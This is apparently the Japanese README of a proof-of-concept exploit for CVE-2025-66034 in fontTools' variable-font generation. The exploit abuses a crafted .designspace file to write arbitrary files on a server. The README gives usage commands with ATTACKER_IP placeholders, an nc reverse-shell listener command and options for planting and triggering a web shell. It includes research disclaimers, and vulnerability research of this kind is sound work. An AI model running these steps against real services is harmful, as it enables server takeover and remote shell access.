
CVE-2025-66034のfontTools可変フォント生成パイプラインにおける概念実証エクスプロイト。精巧に作成された.designspaceファイルにより出力パスを制御可能とし、任意のファイル書き込みを可能にします。このスクリプトは、ペイロード作成、フォント生成、アップロードを自動化し、問題を示します。
このリポジトリは新しい脆弱性を導入するものではありません。
これは、fontTools varLib 可変フォント生成パイプラインに影響を与える CVE-2025-66034 に対する Proof-of-concept エクスプロイトです。
この脆弱性により、攻撃者は細工された .designspace ファイル内の出力ファイル名を制御できます。影響を受けるフォント生成サービスで処理されると、サーバーのファイルシステム上で任意のファイル書き込みが発生する可能性があります。
スクリプト varlib_cve_2025_66034.py は、ペイロードの作成、フォント生成、アップロード、およびオプションのシェル起動を自動化します。
nc リスナーPython 3.9+
依存関係のインストール:
pip install fonttools requests
リスナーには Netcat が必要です。そのため、--no-listen オプションを使用する場合は、次のコマンドが必要です:
nc -lvnp <PORT_NUMBER>
ターゲットが mysite.com で実行されているセルフホスト型ラボであり、アップロードパス、ファイルシステム書き込みパス、および Web からアクセス可能なトリガーパスがスクリプトのデフォルトと一致する場合は、直接実行できます。
基本的な使用方法:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
ターゲットが異なる URL やファイルシステムパスを使用している可能性が高いため、以下の利用可能なオプション(--url、--path、--trigger など)でデフォルトを上書きするか、スクリプトを手動で変更してください。
注: multipart アップロードフォームのフィールド名は環境によって異なる場合があります。ターゲットがスクリプトと同じフォームフィールド名を使用していない場合は、エクスプロイトを実行する前に files セクションで調整してください。
カスタムオプションを使用した例:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspace ファイルを作成以下に特別な感謝と敬意を表します:
この Proof-of-concept は、脆弱性とその影響を理解するための教育および研究目的で提供されています。
このコードは教育および研究目的のみで提供されています。
所有していないシステム、または明示的なテスト許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。
著者は、このソフトウェアの誤用またはそれによって引き起こされた損害について責任を負いません。
| 引数 | 説明 |
|---|
--ip | 攻撃者リスナーの IP アドレス |
--port | リスナーポート |
--path | ファイルが書き込まれるターゲットのファイルシステムパス(Web シェルを起動するには Web からアクセス可能である必要があります) |
--url | アップロードエンドポイント(フォームは異なる場合があります) |
--trigger | アップロード後に書き込まれたペイロードを起動するために使用されるベース URL |
--no-listen | 自動 netcat リスナーを無効化 |